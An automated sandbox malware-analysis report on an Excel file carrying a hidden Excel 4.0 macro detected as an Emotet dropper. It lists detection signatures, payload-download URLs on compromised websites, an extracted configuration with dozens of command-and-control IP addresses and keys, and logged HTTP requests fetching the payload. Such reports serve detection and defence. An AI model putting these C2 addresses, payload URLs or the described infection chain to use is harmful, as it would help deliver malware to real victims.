Windows Analysis Report
check.xls

Overview

General Information

Sample Name:	check.xls
Analysis ID:	562510
MD5:	b4ab7bf24d88711b77651735221d3c99
SHA1:	1aac1e6607873f7ae92962f08ca7d2ebeb280917
SHA256:	331c3b9e917fa24eff11b2650207f76612d05a572c6f4fcb4cbb37ddc1da295c
Infos:

Detection

Hidden Macro 4.0 Emotet

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Antivirus detection for URL or domain

Found malicious Excel 4.0 Macro

Found malware configuration

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Yara detected Emotet

Multi AV Scanner detection for domain / URL

Sigma detected: Windows Shell File Write to Suspicious Folder

Document contains OLE streams with names of living off the land binaries

Powershell drops PE file

Sigma detected: MSHTA Spawning Windows Shell

Hides that the sample has been downloaded from the Internet (zone.identifier)

Document exploit detected (process start blacklist hit)

Sigma detected: Suspicious MSHTA Process Patterns

Sigma detected: Microsoft Office Product Spawning Windows Shell

Sigma detected: Suspicious PowerShell Command Line

Found Excel 4.0 Macro with suspicious formulas

Machine Learning detection for dropped file

Sigma detected: Mshta Spawning Windows Shell

C2 URLs / IPs found in malware configuration

Contains functionality to query locales information (e.g. system language)

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Detected potential crypto function

JA3 SSL client fingerprint seen in connection with other malware

Contains functionality to check if a window is minimized (may be used to check if an application is visible)

Contains functionality to dynamically determine API calls

HTTP GET or POST without a user agent

Uses insecure TLS / SSL version for HTTPS connection

Document misses a certain OLE stream usually present in this Microsoft Office document type

Abnormal high CPU Usage

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Searches for the Microsoft Outlook file path

Drops PE files

Contains functionality to read the PEB

Uses a known web browser user agent for HTTP communication

Drops PE files to the windows directory (C:\Windows)

Found large amount of non-executed APIs

Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)

Contains functionality to delete services

Creates a process in suspended mode (likely to inject code)

Queries the volume information (name, serial number etc) of a device

Yara signature match

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Creates files inside the system directory

Internet Provider seen in connection with other malware

Stores large binary data to the registry

Contains functionality to query CPU information (cpuid)

Found potential string decryption / allocating functions

Potential document exploit detected (performs DNS queries)

Contains functionality which may be used to detect a debugger (GetProcessHeap)

IP address seen in connection with other malware

Searches for user specific document files

Enables debug privileges

PE file contains an invalid checksum

Yara detected Xls With Macro 4.0

Connects to several IPs in different countries

Potential key logger detected (key state polling based)

Creates a window with clipboard capturing capabilities

Document contains embedded VBA macros

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

Potential document exploit detected (performs HTTP gets)

Classification

Signatures

AV Detection

Antivirus detection for URL or domain

Source: http://91.240.118.168/zzx/ccv/fe.htmlT	Avira URL Cloud: Label: malware
Source: https://www.yeald.finance/wp-adm	Avira URL Cloud: Label: malware
Source: https://palankhir.hu/tools/GJRNh	Avira URL Cloud: Label: malware
Source: https://palankhir.hu/tools/GJRNhZHz/	Avira URL Cloud: Label: malware
Source: http://tattooblog.cn/wp-includes/KJLv/PE3	Avira URL Cloud: Label: malware
Source: https://weddingbandsirelandjbk.com/hgsynt2/o/	Avira URL Cloud: Label: malware
Source: https://umanostudio.com/wp-admin	Avira URL Cloud: Label: malware
Source: http://tattooblog.cn/wp-includes/KJLv/	Avira URL Cloud: Label: malware
Source: http://masboni.com/wp-admin/3zUQl/PE3	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlfunction	Avira URL Cloud: Label: malware
Source: http://starspeedng.com/One-File/	Avira URL Cloud: Label: malware
Source: http://starspeedng.com/One-File/U3Trml/	Avira URL Cloud: Label: phishing
Source: http://91.240.118.168/zzx/ccv/fe.htmlp	Avira URL Cloud: Label: malware
Source: https://getcode.info/wp-content/	Avira URL Cloud: Label: malware
Source: https://falah.org.pk/vegasvulkan1000.falah.org.pk/ZBRx4QuUXfLH/PE3	Avira URL Cloud: Label: malware
Source: http://sneakadream.com/wp-conten	Avira URL Cloud: Label: phishing
Source: https://tanquessepticos.com/wp-a	Avira URL Cloud: Label: malware
Source: http://sneakadream.com/wp-content/pccmAOq/	Avira URL Cloud: Label: malware
Source: https://www.yeald.finance	Avira URL Cloud: Label: malware
Source: https://www.yeald.finance/wp-admin/1WgPRm/PE3	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlB	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlhttp://91.240.118.168/zzx/ccv/fe.html	Avira URL Cloud: Label: malware
Source: http://tattooblog.cn/wp-includes	Avira URL Cloud: Label: malware
Source: https://umanostudio.com/wp-admin/n1LG7aJnptBlQkC/	Avira URL Cloud: Label: malware
Source: https://www.yeald.finance/wp-admin/1WgPRm/	Avira URL Cloud: Label: malware
Source: https://allaagency.ro/wp-admin/7	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.html	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlWinSta0	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlC:	Avira URL Cloud: Label: malware
Source: https://chochungcuhanoi.com/wp-c	Avira URL Cloud: Label: malware
Source: https://chochungcuhanoi.com/wp-content/cyE2u0cnolP/PE3	Avira URL Cloud: Label: malware
Source: https://palankhir.hu/tools/GJRNhZHz/PE3	Avira URL Cloud: Label: malware
Source: http://masboni.com/wp-admin/3zUQl/	Avira URL Cloud: Label: malware
Source: https://falah.org.pk/vegasvulkan	Avira URL Cloud: Label: phishing
Source: https://umanostudio.com/wp-admin/n1LG7aJnptBlQkC/PE3	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlv1.0	Avira URL Cloud: Label: malware
Source: https://chochungcuhanoi.com/wp-content/cyE2u0cnolP/	Avira URL Cloud: Label: malware
Source: https://weddingbandsirelandjbk.com/hgsynt2/o/PE3	Avira URL Cloud: Label: malware
Source: https://falah.org.pk/vegasvulkan1000.falah.org.pk/ZBRx4QuUXfLH/	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.htmlmshta	Avira URL Cloud: Label: malware
Source: https://tanquessepticos.com/wp-admin/ApVVbl1fQ0/PE3	Avira URL Cloud: Label: malware
Source: http://sneakadream.com/wp-content/pccmAOq/PE3	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.pngPE3	Avira URL Cloud: Label: malware
Source: https://tanquessepticos.com/wp-admin/ApVVbl1fQ0/	Avira URL Cloud: Label: malware
Source: http://starspeedng.com/One-File/U3Trml/PE3	Avira URL Cloud: Label: phishing
Source: https://getcode.info/wp-content/QDx8b5j/	Avira URL Cloud: Label: malware
Source: http://91.240.118.168	URL Reputation: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.html4E	Avira URL Cloud: Label: malware
Source: https://allaagency.ro/wp-admin/7/PE3	Avira URL Cloud: Label: malware
Source: https://getcode.info/wp-content/QDx8b5j/PE3	Avira URL Cloud: Label: malware
Source: http://masboni.com/wp-admin/3zUQ	Avira URL Cloud: Label: malware
Source: http://91.240.118.168/zzx/ccv/fe.png	Avira URL Cloud: Label: malware
Source: https://allaagency.ro/wp-admin/7/	Avira URL Cloud: Label: malware

Found malware configuration

Source: 19.2.rundll32.exe.2d10000.14.raw.unpack

Malware Configuration Extractor: Emotet {"C2 list": ["160.16.102.168:80", "131.100.24.231:80", "200.17.134.35:7080", "207.38.84.195:8080", "212.237.56.116:7080", "58.227.42.236:80", "104.251.214.46:8080", "158.69.222.101:443", "192.254.71.210:443", "46.55.222.11:443", "45.118.135.203:7080", "107.182.225.142:8080", "103.75.201.2:443", "104.168.155.129:8080", "195.154.133.20:443", "159.8.59.82:8080", "110.232.117.186:8080", "45.142.114.231:8080", "41.76.108.46:8080", "203.114.109.124:443", "50.116.54.215:443", "209.59.138.75:7080", "185.157.82.211:8080", "164.68.99.3:8080", "162.214.50.39:7080", "138.185.72.26:8080", "178.63.25.185:443", "51.15.4.22:443", "81.0.236.90:443", "216.158.226.206:443", "45.176.232.124:443", "162.243.175.63:443", "212.237.17.99:8080", "45.118.115.99:8080", "129.232.188.93:443", "173.214.173.220:8080", "178.79.147.66:8080", "176.104.106.96:8080", "51.38.71.0:443", "173.212.193.249:8080", "217.182.143.207:443", "212.24.98.99:8080", "159.89.230.105:443", "79.172.212.216:8080", "212.237.5.209:443"], "Public Key": ["RUNLMSAAAADzozW1Di4r9DVWzQpMKT588RDdy7BPILP6AiDOTLYMHkSWvrQO5slbmr1OvZ2Pz+AQWzRMggQmAtO6rPH7nyx2", "RUNTMSAAAABAX3S2xNjcDD0fBno33Ln5t71eii+mofIPoXkNFOX1MeiwCh48iz97kB0mJjGGZXwardnDXKxI8GCHGNl0PFj5"]}

Multi AV Scanner detection for submitted file

Source: check.xls

ReversingLabs: Detection: 37%

Multi AV Scanner detection for domain / URL

Source: www.yeald.finance

Virustotal: Detection: 8%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\Public\Documents\ssd.dll

Joe Sandbox ML: detected

Compliance

Uses insecure TLS / SSL version for HTTPS connection

Source: unknown

HTTPS traffic detected: 94.130.116.76:443 -> 192.168.2.22:49167 version: TLS 1.0

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 9_2_10021854 __EH_prolog3,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,		9_2_10021854
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 11_2_10021854 __EH_prolog3,GetFullPathNameA,PathIsUNCA,GetVolumeInformationA,CharUpperA,FindFirstFileA,FindClose,lstrlenA,		11_2_10021854

Source: Malware configuration extractor	IPs: 160.16.102.168:80
Source: Malware configuration extractor	IPs: 131.100.24.231:80
Source: Malware configuration extractor	IPs: 200.17.134.35:7080
Source: Malware configuration extractor	IPs: 207.38.84.195:8080
Source: Malware configuration extractor	IPs: 212.237.56.116:7080
Source: Malware configuration extractor	IPs: 58.227.42.236:80
Source: Malware configuration extractor	IPs: 104.251.214.46:8080
Source: Malware configuration extractor	IPs: 158.69.222.101:443
Source: Malware configuration extractor	IPs: 192.254.71.210:443
Source: Malware configuration extractor	IPs: 46.55.222.11:443
Source: Malware configuration extractor	IPs: 45.118.135.203:7080
Source: Malware configuration extractor	IPs: 107.182.225.142:8080
Source: Malware configuration extractor	IPs: 103.75.201.2:443
Source: Malware configuration extractor	IPs: 104.168.155.129:8080
Source: Malware configuration extractor	IPs: 195.154.133.20:443
Source: Malware configuration extractor	IPs: 159.8.59.82:8080
Source: Malware configuration extractor	IPs: 110.232.117.186:8080
Source: Malware configuration extractor	IPs: 45.142.114.231:8080
Source: Malware configuration extractor	IPs: 41.76.108.46:8080
Source: Malware configuration extractor	IPs: 203.114.109.124:443
Source: Malware configuration extractor	IPs: 50.116.54.215:443
Source: Malware configuration extractor	IPs: 209.59.138.75:7080
Source: Malware configuration extractor	IPs: 185.157.82.211:8080
Source: Malware configuration extractor	IPs: 164.68.99.3:8080
Source: Malware configuration extractor	IPs: 162.214.50.39:7080
Source: Malware configuration extractor	IPs: 138.185.72.26:8080
Source: Malware configuration extractor	IPs: 178.63.25.185:443
Source: Malware configuration extractor	IPs: 51.15.4.22:443
Source: Malware configuration extractor	IPs: 81.0.236.90:443
Source: Malware configuration extractor	IPs: 216.158.226.206:443
Source: Malware configuration extractor	IPs: 45.176.232.124:443
Source: Malware configuration extractor	IPs: 162.243.175.63:443
Source: Malware configuration extractor	IPs: 212.237.17.99:8080
Source: Malware configuration extractor	IPs: 45.118.115.99:8080
Source: Malware configuration extractor	IPs: 129.232.188.93:443
Source: Malware configuration extractor	IPs: 173.214.173.220:8080
Source: Malware configuration extractor	IPs: 178.79.147.66:8080
Source: Malware configuration extractor	IPs: 176.104.106.96:8080
Source: Malware configuration extractor	IPs: 51.38.71.0:443
Source: Malware configuration extractor	IPs: 173.212.193.249:8080
Source: Malware configuration extractor	IPs: 217.182.143.207:443
Source: Malware configuration extractor	IPs: 212.24.98.99:8080
Source: Malware configuration extractor	IPs: 159.89.230.105:443
Source: Malware configuration extractor	IPs: 79.172.212.216:8080
Source: Malware configuration extractor	IPs: 212.237.5.209:443

Source: global traffic	HTTP traffic detected: GET /wp-admin/1WgPRm/ HTTP/1.1Host: www.yeald.financeConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /zzx/ccv/fe.png HTTP/1.1Host: 91.240.118.168Connection: Keep-Alive

Source: Joe Sandbox View	ASN Name: HETZNER-ASDE HETZNER-ASDE
Source: Joe Sandbox View	ASN Name: OnlineSASFR OnlineSASFR

Source: Joe Sandbox View	IP Address: 94.130.116.76 94.130.116.76
Source: Joe Sandbox View	IP Address: 195.154.133.20 195.154.133.20

Source: powershell.exe, 00000006.00000002.664996104.00000000036DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.240.11
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.664996104.00000000036DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168
Source: powershell.exe, 00000006.00000002.664996104.00000000036DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe
Source: mshta.exe, 00000004.00000003.402324314.000000000039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.425113166.0000000003440000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.421421637.000000000039C000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.421468026.00000000003E7000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419457263.0000000003469000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.425203497.0000000003469000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.421392280.000000000036E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.html
Source: mshta.exe, 00000004.00000003.419457263.0000000003469000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.425203497.0000000003469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.html4E
Source: check.xls.0.dr	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlB
Source: mshta.exe, 00000004.00000002.425113166.0000000003440000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlC:
Source: mshta.exe, 00000004.00000003.402330326.00000000003AD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlT
Source: mshta.exe, 00000004.00000002.421369851.0000000000330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlWinSta0
Source: mshta.exe, 00000004.00000003.404350212.0000000002C5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlfunction
Source: mshta.exe, 00000004.00000003.403930590.0000000002C55000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlhttp://91.240.118.168/zzx/ccv/fe.html
Source: mshta.exe, 00000004.00000002.421369851.0000000000330000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlmshta
Source: mshta.exe, 00000004.00000002.421392280.000000000036E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlp
Source: mshta.exe, 00000004.00000003.419457263.0000000003469000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.425203497.0000000003469000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.htmlv1.0
Source: powershell.exe, 00000006.00000002.664996104.00000000036DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.png
Source: powershell.exe, 00000006.00000002.664996104.00000000036DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://91.240.118.168/zzx/ccv/fe.pngPE3
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.668574742.000000001B838000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.659537368.000000000048E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.668636822.000000001B8B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://masboni.c
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://masboni.com/wp-admin/3zUQ
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://masboni.com/wp-admin/3zUQl/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://masboni.com/wp-admin/3zUQl/PE3
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.668636822.000000001B8B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.668636822.000000001B8B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: powershell.exe, 00000006.00000002.668574742.000000001B838000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: powershell.exe, 00000006.00000002.668574742.000000001B838000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.659537368.000000000048E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sneakadream.com/wp-conten
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sneakadream.com/wp-content/pccmAOq/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://sneakadream.com/wp-content/pccmAOq/PE3
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://starspeedng.com/One-File/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://starspeedng.com/One-File/U3Trml/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://starspeedng.com/One-File/U3Trml/PE3
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tattooblog.cn/wp-includes
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tattooblog.cn/wp-includes/KJLv/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://tattooblog.cn/wp-includes/KJLv/PE3
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: powershell.exe, 00000006.00000002.659446091.0000000000420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/c
Source: powershell.exe, 00000006.00000002.659446091.0000000000420000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/cclean6o
Source: powershell.exe, 00000006.00000002.659446091.0000000000420000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.403805062.000000000046C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.403876535.000000000046F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000006.00000002.659446091.0000000000420000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.403805062.000000000046C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000003.403876535.000000000046F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.piriform.com/ccleanerhttp://www.piriform.com/ccleanerv
Source: mshta.exe, 00000004.00000003.419157261.0000000003472000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419078794.00000000034FB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.402396144.000000000042B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.422077589.000000000042B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419408582.00000000034FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.com
Source: mshta.exe, 00000004.00000003.401952510.00000000034FB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.418931389.0000000003526000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.401986789.0000000003526000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.426673975.00000000034FB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.426692369.0000000003526000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000002.426736724.0000000003FDA000.00000004.00000010.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419078794.00000000034FB000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000004.00000003.419408582.00000000034FB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.protware.com/
Source: rundll32.exe, 00000013.00000002.659722303.000000000067E000.00000004.00000020.00020000.00000000.sdmp, rundll32.exe, 00000013.00000002.659683708.000000000065A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://160.16.102.168:80/kHYKQ
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allaagency.ro/wp-admin/7
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allaagency.ro/wp-admin/7/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://allaagency.ro/wp-admin/7/PE3
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chochungcuhanoi.com/wp-c
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chochungcuhanoi.com/wp-content/cyE2u0cnolP/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chochungcuhanoi.com/wp-content/cyE2u0cnolP/PE3
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://falah.or
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://falah.org.pk/vegasvulkan
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://falah.org.pk/vegasvulkan1000.falah.org.pk/ZBRx4QuUXfLH/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://falah.org.pk/vegasvulkan1000.falah.org.pk/ZBRx4QuUXfLH/PE3
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getcode.info/wp-content/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getcode.info/wp-content/QDx8b5j/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://getcode.info/wp-content/QDx8b5j/PE3
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://palankhir.hu/tools/GJRNh
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://palankhir.hu/tools/GJRNhZHz/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://palankhir.hu/tools/GJRNhZHz/PE3
Source: powershell.exe, 00000006.00000002.668616282.000000001B884000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.668574742.000000001B838000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.659537368.000000000048E000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.668636822.000000001B8B2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tanquessepticos.com/wp-a
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tanquessepticos.com/wp-admin/ApVVbl1fQ0/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://tanquessepticos.com/wp-admin/ApVVbl1fQ0/PE3
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://umanostudio.com/wp-admin
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://umanostudio.com/wp-admin/n1LG7aJnptBlQkC/
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://umanostudio.com/wp-admin/n1LG7aJnptBlQkC/PE3
Source: powershell.exe, 00000006.00000002.665179832.0000000003833000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://weddingbandsirelandjbk.c
